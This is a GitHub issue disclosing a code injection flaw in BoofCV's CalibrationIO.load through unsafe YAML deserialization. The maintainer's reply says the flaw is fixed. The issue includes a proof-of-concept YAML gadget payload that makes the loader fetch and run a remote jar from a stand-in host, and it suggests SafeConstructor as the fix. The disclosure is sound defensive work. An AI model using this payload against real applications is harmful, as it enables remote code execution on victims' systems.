Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

In 0.42 and before there's a code injection vulnerability of boofcv.io.calibration.CalibrationIO.load #406

Open
LetianYuan opened this issue Jul 17, 2023 · 1 comment
Labels

Comments

@LetianYuan
Copy link

Affected Version
Versions including 0.42 and below.

Describe the vulnerability
boofcv.io.calibration.CalibrationIO.load(String) is designed to load camera calibration configurations. However, passing an unchecked argument to this API can lead to the execution of arbitrary codes. For instance, if we use CalibrationIO.load("example.yaml") to load camera calibration while the file "example.yaml" contains the following content:

!!javax.script.ScriptEngineManager [
    !!java.net.URLCTassLoader [[
        !!java.net.URL [
            "http://example.com/evil.jar"
        ]
    ]]
]

malicious code in the evil.jar could be executed.

To Reproduce
Just execute CalibrationIO.load("PoC.yaml"); would reproduce it.

Fix Suggestion
Using new Yaml(new SafeConstructor()) can fix it.

@LetianYuan LetianYuan changed the title There's a code injection vulnerability of boofcv.io.calibration.load There's a code injection vulnerability of boofcv.io.calibration.CalibrationIO.load Jul 17, 2023
@lessthanoptimal lessthanoptimal changed the title There's a code injection vulnerability of boofcv.io.calibration.CalibrationIO.load In 0.42 and before there's a code injection vulnerability of boofcv.io.calibration.CalibrationIO.load Jul 19, 2023
@lessthanoptimal
Copy link
Owner

Updated title to clarify that this has been fixed. I'll leave this ticket up for a little bit even though it's been resolved so that it encourages people to update.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants